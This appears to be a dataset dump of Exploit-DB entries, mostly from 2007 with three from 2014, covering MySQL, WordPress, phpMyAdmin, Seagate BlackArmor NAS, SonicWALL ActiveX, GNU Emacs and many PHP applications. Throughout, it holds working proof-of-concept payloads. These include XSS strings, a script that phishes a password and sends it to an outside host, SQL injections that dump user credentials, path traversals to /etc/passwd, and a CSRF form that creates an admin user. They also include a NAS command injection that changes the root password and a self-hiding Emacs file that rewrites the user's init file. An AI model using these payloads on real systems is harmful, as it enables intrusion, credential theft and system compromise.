QLWD/code_shield huggingface dataset:
标题: MySQL 5.1.23 - Server InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE Function Denial of Service EDB-ID: 30744 CVE: 2007-5925 类型: DOS 平台: LINUX 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26353/info

MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.

Exploiting this issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.

This issue affects MySQL 5.1.23 and prior versions. 

mysql> CREATE TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
Empty set

mysql> ALTER TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar'); URL: https://www.exploit-db.com/exploits/30744
标题: JLMForo System - 'Buscado.php' Cross-Site Scripting EDB-ID: 30739 CVE: 2007-5954 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26331/info

JLMForo System is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/PATH/buscador.php?clave=[XSS] URL: https://www.exploit-db.com/exploits/30739
标题: easyGB 2.1.1 - 'index.php' Local File Inclusion EDB-ID: 30741 CVE: 2007-5890 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26335/info

easyGB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

easyGB 2.1.1 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?DatabaseType=[Local File]%00 URL: https://www.exploit-db.com/exploits/30741
标题: Weblord.it MS-TopSites - Unauthorized Access / HTML Injection EDB-ID: 30745 CVE: 2007-5918 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/26358/info

MS-TopSites is prone to an unauthorized-access vulnerability and an HTML-injection vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to gain elevated privileges on the affected application, execute arbitrary code within the context of the webserver, and steal cookie-based authentication credentials. 

<html><title>PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection</title>
<body bgcolor="black" text="white">
<form action="http://localhost:81/modules.php?name=MS_TopSites&file=edit " method="post">
<input size="92" type="text" value=&#039;&#039; name="sname"> SiteNameTitle [sname] (not Target it must be changed in the source) <br />
<input size="92" type="text" value="" name="uname"> Username [uname] <br />
<input size="92" type="text" value=" http://www.0x90.com.ar" name="url"> Url<br />
<input size="92" type="text" value="mail@url.com" name="email"> Email<br />
<input size="92" type="text" value=&#039;&#039; name="bottonurl"> BottonUrl<br />
<input size="92" type="text" value="Art" name="cat"> Cat <br />
<input size="92" type="text" value="Wedonotneeddescriptions" name="description"> Descriptions<br />
<input type="hidden" value="MSTopSitesSaveSite" name="op"><br />
<input type="submit" value="submit"><br />
</body></form>
</html> URL: https://www.exploit-db.com/exploits/30745
标题: PHP Helpdesk 0.6.16 - 'index.php' Local File Inclusion EDB-ID: 30735 CVE: 2007-5915 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-03 漏洞利用脚本: source: www.securityfocus.com/bid/26318/info

PHP Helpdesk is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

PHP Helpdesk 0.6.16 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?whattodo=../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/30735
标题: Helios Calendar 1.1/1.2 - 'admin/index.php' Cross-Site Scripting EDB-ID: 30734 CVE: 2007-5952 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/26312/info

Helios Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Helios Calendar 1.2.1 Beta; other versions may also be affected. 

http://www.example.com/calendar/admin/index.php?msg=1&username=[XSS] URL: https://www.exploit-db.com/exploits/30734
标题: CONTENTCustomizer 3.1 - 'Dialog.php' Information Disclosure EDB-ID: 30732 CVE: 2007-5816 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/26291/info

CONTENTCustomizer is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to access sensitive information that may lead to further attacks.

CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected. 

http://www.example.com/dialog.php?action=editauthor&doc=pagename URL: https://www.exploit-db.com/exploits/30732
标题: SonicWALL SSL VPN 1.3 3 WebCacheCleaner - ActiveX FileDelete Method Traversal Arbitrary File Deletion EDB-ID: 30730 CVE: 2007-5815 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/26288/info


SonicWALL SSL VPN Client is prone to multiple remote vulnerabilities. The issues occur in different ActiveX controls and include arbitrary-file-deletion and multiple stack-based buffer-overflow vulnerabilities.

Attackers can exploit these issues to execute arbitrary code within the context of the affected application and delete arbitrary files on the client's computer. Failed exploit attempts will result in denial-of-service conditions.

These issues affect SonicWALL SSL VPN 1.3.0.3 software as well as WebCacheCleaner 1.3.0.3 and NeLaunchCtrl 2.1.0.49 ActiveX controls; other versions may also be vulnerable. 

dim o
Set o = CreateObject("MLWebCacheCleaner.WebCacheCleaner.1")
o.FileDelete("c:\bla\bla") URL: https://www.exploit-db.com/exploits/30730
标题: Galmeta Post 0.2 - 'Upload_Config.php' Remote File Inclusion EDB-ID: 30737 CVE: 2007-5567 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26329/info

Galmeta Post is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Galmeta Post 0.2 is vulnerable; other versions may also be affected. 

http://www.example.comtmp/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=[shell] URL: https://www.exploit-db.com/exploits/30737
标题: Blue Coat ProxySG Management Console - URI Handler Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30729 CVE: 2007-5796 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26286/info

Blue Coat ProxySG Management Console is prone to two cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to ProxySG 4.2.6.1 and 5.2.2.5 are vulnerable.

NOTE: This BID originally covered one issue, but was updated to also cover a second issue. 

https://www.example.com:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00 https://www.example.com:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!-- Example Payload: <script> do { a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME",""); b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD",""); }while(a==null || b==null || a=="" || b==""); alert("owned!:"+a+"/"+b);window.location="http://www.example2.com/?u="+a+"&p="+b </script><!-- URL: https://www.exploit-db.com/exploits/30729
标题: Synergiser 1.2 - 'index.php' Local File Inclusion EDB-ID: 30731 CVE: 2007-5802 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/26289/info

Synergiser is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Synergiser 1.2 RC1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?page=../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30731
标题: phpMyAdmin 2.11.1 - 'Server_Status.php' Cross-Site Scripting EDB-ID: 30733 CVE: 2007-5589 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/26301/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects versions prior to phpMyAdmin 2.11.1.2. 

http://www.example.com/phpMyAdmin/server_status.php/"><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/30733
标题: Yarssr 0.2.2 - GUI.PM Remote Code Injection EDB-ID: 30728 CVE: 2007-5837 类型: REMOTE 平台: LINUX 发布日期: 2007-10-31 漏洞利用脚本: source: www.securityfocus.com/bid/26273/info   

Yarssr is prone to a remote code-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to inject and execute arbitrary malicious Perl code with the privileges of the user running the application. Successful exploits can compromise the application and possibly the underlying computer; other attacks are also possible.

Yarssr 0.2.2 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30728.rss URL: https://www.exploit-db.com/exploits/30728
标题: Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution EDB-ID: 30725 CVE: 2013-6924 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-06 漏洞利用脚本: # Exploit Title: Seagate BlackArmor NAS - Remote Command Execution

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6924

#

## Description:

#

# The file getAlias.php located in /backupmgt has the following lines:

#

# $ipAddress = $_GET["ip";

# if ($ipAddress != "") {

#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");

#    ..

#    ..

# }

#

# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.

#

## Proof of Concept:

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;

#

## Example to change the root password to 'mypassword':

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin; URL: https://www.exploit-db.com/exploits/30725
标题: Seagate BlackArmor NAS sg2000-2000.1331 - Cross-Site Request Forgery EDB-ID: 30726 CVE: 2013-6922 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-06 漏洞利用脚本: # Exploit Title: Seagate BlackArmor NAS - Cross Site Request Forgery

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://www.seagate.com/

# Software Link:
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6922

#

## Description:

#

# There are multiple CSRF attacks possible, the proof of concept shows how
it is possible to add

# a user with administrative privileges to the system.
#
# It is also possible to:

# 

# 1. Factory reset the device

# 2. Reboot the device

# 3. Add/Edit/Remove users
# 4. Add/Edit/Remove shares and volumes

#
# This vulnerability was reported to Seagate in September 2013, they stated
that this will not be fixed. 

#

## Proof of Concept:

# 

# POST: http(s)://<url |
ip>/admin/access_control_user_add.php?lang=en&gi=a001&fbt=23
# Parameters:

#

# username attacker
# adminright yes
# fullname hacker
# userpasswd attackers_password
# userpasswdcheck attackers_password URL: https://www.exploit-db.com/exploits/30726
标题: Seagate BlackArmor NAS sg2000-2000.1331 - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 30727 CVE: 2013-6923 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-06 漏洞利用脚本: # Exploit Title: Seagate BlackArmor NAS - Multiple Persistent Cross Site
Scripting Vulnerabilities

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6923

#

## Description:

#

# When adding a user to the device, it is possible to enter a full name.
This input field does not

# sanitize its input and it is possible to enter any payload which will get
executed upon reload.

#

# The workgroup configuration is also vulnerable to persistent XSS. The Work
Group name input 
# field does not sanitize its input.

#
# This vulnerability was reported to Seagate in September 2013, they stated
that this will not be fixed. 

#

## Proof of Concept #1:

# 

# POST: http(s)://<url | ip>/admin/access_control_user_edit.php?id=2&lang=en
# Parameters:

#

# index = 2
# fullname = <script>alert(1);</script>
# submit = Submit

# 

#

## Proof of Concept #2:

#

# POST: http(s)://<url |
ip>/admin/network_workgroup_domain.php?lang=en&gi=n003

# Parameter:

#

# workname = "><input onmouseover=prompt(1) > URL: https://www.exploit-db.com/exploits/30727
标题: Perdition 1.17 - IMAPD __STR_VWRITE Remote Format String EDB-ID: 30724 CVE: 2007-5740 类型: DOS 平台: LINUX 发布日期: 2007-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/26270/info

Perdition IMAP proxy server is prone to a remote format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected application. A successful attack will compromise the application. Failed attempts may cause denial-of-service conditions.

This issue affects Perdition 1.17 and prior versions. 

The following proof of concept is available:

perl -e 'print "abc%n\x00\n"' | nc perdition.example.com 143 URL: https://www.exploit-db.com/exploits/30724
标题: GNU Emacs 22.1 - Local Variable Handling Code Execution EDB-ID: 30736 CVE: 2007-5795 类型: REMOTE 平台: LINUX 发布日期: 2007-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/26327/info

Emacs is prone to a vulnerability that lets attackers execute arbitrary code.

Due to a design error, the application ignores certain security settings and modifies local variables.

By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access.

This issue affects Emacs 22.1; other versions may be vulnerable as well. 

This is a harmless text file.  Or at least it looks like one.  In
fact, it is.  But it's almost not.  If you were to change the word
"variaboles" below to "variables", then load it into a vulnerable
Emacs 22 with `enable-local-variables' set to :safe, it would rewrite
the local variables list in the buffer itself to _look_ like a
harmless text file, while in fact managing to add some evil code to
the end of your user-init-file.  Woopsy.

| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End: URL: https://www.exploit-db.com/exploits/30736
标题: Saxon 5.4 - 'Example.php' SQL Injection EDB-ID: 30719 CVE: 2007-4863 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26238/info

Saxon is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Saxon 5.4; earlier versions may also be affected. 

http://www.example.com/example.php?template=' UNION SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(USER_NAME, USER_PWD), NULL FROM SX_saxon_users %23 URL: https://www.exploit-db.com/exploits/30719
标题: Saxon 5.4 - 'Menu.php' Cross-Site Scripting EDB-ID: 30718 CVE: 2007-4862 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26237/info

Saxon is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Saxon 5.4; earlier versions may also be vulnerable. 

http://www.example.com/admin/menu.php?config[news_url]="><script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/30718
标题: Omnistar Live - 'KB.php' Cross-Site Scripting EDB-ID: 30717 CVE: 2007-5724 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26234/info

Omnistar Live is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/smartshop/users/kb.php?id=10002&category_id=XSS
http://www.example.com/users/kb.php?category_id=XSS URL: https://www.exploit-db.com/exploits/30717
标题: Smart-Shop - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30716 CVE: 2007-5725 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26232/info

SMART-SHOP is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?page=&email=<Evil-Script> 
http://www.example.com/index.php?page=home&command=<Evil-Script> 
http://www.example.com/index.php?page=home&component=currencies&command=<Evil-Script> http://www.example.com/index.php?page=home&component=basket&command=%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/30716
标题: WordPress Core 2.3 - 'Edit-Post-Rows.php' Cross-Site Scripting EDB-ID: 30715 CVE: 2007-5710 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26228/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects WordPress 2.3; other versions may also be vulnerable. 

http://www.example.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30715
标题: Multi-Forums - 'Directory.php' Multiple SQL Injections EDB-ID: 30712 CVE: 2007-5688 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/26213/info

Multi-Forums is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/directory.php?go=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id]
http://www.example.com/directory.php?cat=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id] URL: https://www.exploit-db.com/exploits/30712
标题: Korean GHBoard - 'Component/upload.jsp' Arbitrary File Upload EDB-ID: 30705 CVE: 2007-5737 类型: WEBAPPS 平台: JSP 发布日期: 2007-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/26182/info
 
GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process.
 
http://www.example.com/ghboard/component/flashupload/data/upload_filename.xxx URL: https://www.exploit-db.com/exploits/30705
标题: Korean GHBoard FlashUpload Component - 'download.jsp?name' Arbitrary File Access EDB-ID: 30704 CVE: 2007-5739 类型: WEBAPPS 平台: JSP 发布日期: 2007-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/26182/info

GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. 

http://www.example.com/ghboard/component/flashupload/download.jsp?name=[file_name]

http://www.example.com/ghboard/component/flashupload/download.jsp?name=../config.js URL: https://www.exploit-db.com/exploits/30704